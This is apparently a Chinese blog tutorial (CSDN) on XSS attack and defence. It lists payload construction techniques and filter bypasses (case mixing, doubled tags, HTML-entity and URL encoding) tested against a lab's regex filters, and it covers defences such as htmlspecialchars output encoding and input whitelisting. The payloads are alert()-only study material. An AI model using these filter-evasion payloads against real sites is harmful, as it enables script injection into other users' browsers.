XSS 攻防

XSS 攻防

XSS 构造方法

利用<>

用法

输入框上传的内容

<img src="">
<script></script>

……

示例
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTi7NIssiejIpd06SibU5kbd5C0UWmsnQnRwYA9qmvLVtFYtRXiTZ05nNE_KHW9RXnPB5U&usqp=CAU">

image-20231109151402408

url 编码,提交,成功执行

image-20231109151637520

<script>alert("hacking!")</script>

image-20231109151947451

javascript 伪协议

可以通过URL 载入资源的标签。

<a href="javascript:alert(/gjl/)">XSS_TEST</a>

image-20231109152558772

事件响应

事件类型说明
windows 事件对window 对象触发的事件
Form 事件HTML 表单内触发的事件
Keyboard 事件键盘事件
Mouse 事件鼠标事件
Media 事件由多媒体触发的事件
鼠标移动到图片上触发
<img src="" onmouseover="alert(/attacked!!!/)">
键盘按下触发
<input onkeydown="alert(/attacked!!!/)">
键盘释放触发
<input onkeyup="alert('attacked!!!')">
……

image-20231109154322094

输入框内按下键盘立即触发

image-20231109154359620

松开键盘触发

image-20231109154503040

XSS 变形方式

大小写转换

浏览器对 HTML 标签大小写不敏感

<ScrIPt></SCrIpT>
<img src="#" ONerror="">

关键字双写

绕过一次过滤

<scr<script>ipt>

伪协议进行转码

单个替换被过滤的字符

HTML 编码:

字母ASCII码十进制编码十六进制编码
a97&#97;&#x61;
c99&#99;&#x63;
e101&#101;&#x65;

其他编码:

  • utf-8 编码
  • utf-7 编码

引号的使用

  • 没有引号
  • 单引号
  • 双引号
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">

/代替空格

 <Img/sRc='#'/OnErRoR='alert(/xss/)'>

XSS 防御

​ XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。

输入过滤

  • 仅接受指定长度;
  • 仅包含合法字符;
  • 仅接收指定范围;
  • 特殊的格式,例如,email、IP 地址。

输出编码

将特殊字符转换为 HTML 实体,从而可以在 HTML 页面中安全地显示这些字符,避免被误解为 HTML 标记或 JavaScript 代码

$keywords = htmlspecialchars( $_GET[ 'keywords' ] ); 

黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容
  • 白名单:允许的内容

防御 DOM 型 XSS

避免客户端文档重写,重定向或其他敏感操作。

XSS 攻防实例

过滤<script>关键字

image-20231109164422068

直接输入<script>alert("gjl")</script>时 script 标签被过滤

image-20231109164701916

可以使用大小写转换进行绕过

image-20231109164855477

不区分大小写过滤

可以使用双写绕过

在正则表达式中,i 是一个修饰符,表示进行不区分大小写的匹配

源码中开启不区分大小写过滤,大小写转换的绕过方式不再适用

image-20231109170832003

image-20231109165134456

双写绕过

image-20231109170911103

正则匹配所有<script> 标签中的字符

image-20231109171229488

image-20231109171302166

利用事件绕过

<input onfocus="alert(/hacking!!!/)">

image-20231109193844662

正则匹配<script>+on过滤

image-20231109193835018

加大小写绕过

image-20231109193922702

正则匹配<script>+on过滤+大小写过滤

对伪协议编码

image-20231109194002140

image-20231109194043064

// 攻击代码
<a href="javascript:alert(/hacking!!!/)">click<a>

// 将被过滤的字符转为十进制
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(/hacking!!!/)">click<a>

// url 编码
%3Ca%20href%3D%22%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%3Aalert(%2Fhacking!!!%2F)%22%3Eclick%3Ca%3E

image-20231109195011408

url编码

<img ondbclixk="alert(/xss/)">

image-20231109141554450

地址错误,载入失败触发onerror

<input onkeydown="alert">

image-20231109141918469

image-20231109142127910

image-20231109142731178

Not Found - PortSwigger

正则匹配

image-20231109171229488

编码

?keywords=%26%2360%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2347%3B%26%23103%3B%26%23106%3B%26%23108%3B%26%2347%3B%26%2341%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2362%3B

直接显示不执行

image-20231109175007563

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
引用中提到了Python的用途,引用中提到了Python的前景,但是没有提到Python的安全攻防方面。对于Python的安全攻防,Python本身并不具备特定的安全机制,它更多地被用于开发安全工具和应用程序。以下是一些与Python安全攻防相关的话题: 1. 网络安全与漏洞分析:Python可以用于编写网络安全工具,如漏洞扫描器、网络侦查工具等。通过使用Python的网络库和模块,可以实现对网络协议的分析和安全测试。 2. 密码学与数据加密:Python提供了丰富的密码学库和算法,可以进行数据加密、解密和哈希等操作。Python的加密库可以用于开发安全的通信协议和数据存储方案。 3. Web应用安全:Python可以用于开发安全Web应用程序,并提供了一些框架和库来帮助处理常见的Web安全问题,如跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等。 4. 数据分析与安全监控:Python在数据分析领域有很强的应用能力,可以用于安全事件日志分析和入侵检测等任务。通过使用Python的数据分析库,可以发现异常行为和潜在的安全威胁。 总而言之,Python在安全领域有广泛的应用。它可以用于开发安全工具、应用程序和解决方案,帮助实现网络安全、数据安全和应用安全等方面的需求。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [python:网络安全攻击与防御的工具(附零基础学习资料)](https://blog.csdn.net/weixin_49892805/article/details/127758885)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值